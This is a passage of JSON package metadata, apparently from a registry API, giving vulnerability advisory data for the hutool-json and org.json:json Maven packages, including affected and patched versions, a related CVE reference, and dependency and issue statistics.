5.8.25"}],"purl":"pkg:maven/cn.hutool%3Ahutool-json","statistics":{"dependent_packages_count":83,"dependent_repos_count":361,"downloads":null,"downloads_period":null},"affected_versions":["4.0.0","4.0.1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.0.10","4.0.11","4.0.12","4.1.0","4.1.1","4.1.2","4.1.3","4.1.4","4.1.5","4.1.6","4.1.7","4.1.8","4.1.9","4.1.10","4.1.11","4.1.12","4.1.13","4.1.14","4.1.15","4.1.16","4.1.17","4.1.18","4.1.19","4.1.20","4.1.21","4.2.1","4.3.0","4.3.1","4.3.2","4.4.0","4.4.1","4.4.2","4.4.3","4.4.4","4.4.5","4.5.0","4.5.1","4.5.2","4.5.3","4.5.4","4.5.5","4.5.6","4.5.7","4.5.8","4.5.9","4.5.10","4.5.11","4.5.12","4.5.13","4.5.14","4.5.15","4.5.16","4.5.17","4.5.18","4.6.0","4.6.1","4.6.2","4.6.3","4.6.4","4.6.5","4.6.6","4.6.7","4.6.8","4.6.10","4.6.11","4.6.12","4.6.13","4.6.14","4.6.15","4.6.16","4.6.17","5.0.0","5.0.1","5.0.2","5.0.3","5.0.4","5.0.5","5.0.6","5.0.7","5.1.0","5.1.1","5.1.2","5.1.3","5.1.4","5.1.5","5.2.0","5.2.1","5.2.2","5.2.3","5.2.4","5.2.5","5.3.0","5.3.1","5.3.2","5.3.3","5.3.4","5.3.5","5.3.6","5.3.7","5.3.8","5.3.9","5.3.10","5.4.0","5.4.1","5.4.2","5.4.3","5.4.4","5.4.5","5.4.6","5.4.7","5.5.0","5.5.1","5.5.2","5.5.3","5.5.4","5.5.5","5.5.6","5.5.7","5.5.8","5.5.9","5.6.0","5.6.1","5.6.2","5.6.3","5.6.4","5.6.5","5.6.6","5.6.7","5.7.0","5.7.1","5.7.2","5.7.3","5.7.4","5.7.5","5.7.6","5.7.7","5.7.8","5.7.9","5.7.10","5.7.11","5.7.12","5.7.13","5.7.14","5.7.15","5.7.16","5.7.17","5.7.18","5.7.19","5.7.20","5.7.21","5.7.22","5.8.0","5.8.0.M1","5.8.0.M2","5.8.0.M3","5.8.0.M4","5.8.1","5.8.2","5.8.3","5.8.4","5.8.4.M1","5.8.5","5.8.6","5.8.7","5.8.8","5.8.9","5.8.10","5.8.11","5.8.12","5.8.13","5.8.14","5.8.15","5.8.16","5.8.17","5.8.18","5.8.19","5.8.20","5.8.21","5.8.22","5.8.23","5.8.24"],"unaffected_versions":["5.8.25","5.8.26","5.8.27","5.8.28","5.8.29","5.8.30","5.8.31","5.8.32","5.8.33","5.8.34","5.8.35","5.8.36","5.8.37","5.8.38","5.8.39","5.8.40","5.8.41","5.8.42","5.8.43","5.8.44","5.8.45","5.8.46","5.8.47","5.8.48"]},{"ecosystem":"maven","package_name":"org.json:json","versions":[{"first_patched_version":"20230227","vulnerable_version_range":"\u003c 20230227"}],"purl":"pkg:maven/org.json%3Ajson","statistics":{"dependent_packages_count":3861,"dependent_repos_count":84399,"downloads":null,"downloads_period":null},"affected_versions":["20070829","20080701","20090211","20131018","20140107","20141113","20150729","20151123","20160212","20160807","20160810","20170516","20171018","20180130","20180813","20190722","20200518","20201115","20210307","20211205","20220320","20220924"],"unaffected_versions":["20230227","20230618","20231013","20240205","20240303","20241224","20250107","20250517","20251224","20260522","20260719","20260814"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zdnFqLTQzdzQtMnE1OM4AAwSR/related_packages","related_advisories":[{"uuid":"CVE-2022-45688","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/45xxx/CVE-2022-45688.json"}]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/maven/org.json:json","docker_dependents_count":7152,"docker_downloads_count":7877415335,"usage_url":"https://repos.ecosyste.ms/usage/maven/org.json:json","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/maven/org.json:json/dependencies","status":null,"funding_links":[],"critical":true,"issue_metadata":{"last_synced_at":"2026-11-17T12:01:15.033Z","issues_count":215,"pull_requests_count":254,"avg_time_to_close_issue":14698923.725714285,"avg_time_to_close_pull_request":1236198.9590163934,"issues_closed_count":175,"pull_requests_closed_count":244,"pull_request_authors_count":113,"issue_authors_count":139,"avg_comments_per_issue":4.367441860465116,"avg_comments_per_pull_request":3.177165354330709,"merged_pull_requests_count":159,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":34,"past_year_pull_requests_count":38,"past_year_avg_time_to_close_issue":3298416.730769231,"past_year_avg_time_to_close_pull_request":576650.2,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":30,"past_year_pull_request_authors_count":27,"past_year_issue_authors_count":23,"past_year_avg_comments_per_issue":1.852941176470588,"past_year_avg_comments_per_pull_request":2.9210526315789473,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":25,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/issues","maintainers":[{"login":"stleary","count":79,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stleary"}],"active_maintainers":[{"login":"stleary","count":13,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stleary"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.json:json/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.json:json/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.json:json/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.json:json/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.json:json/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.json:json/codemeta","maintainers":[]}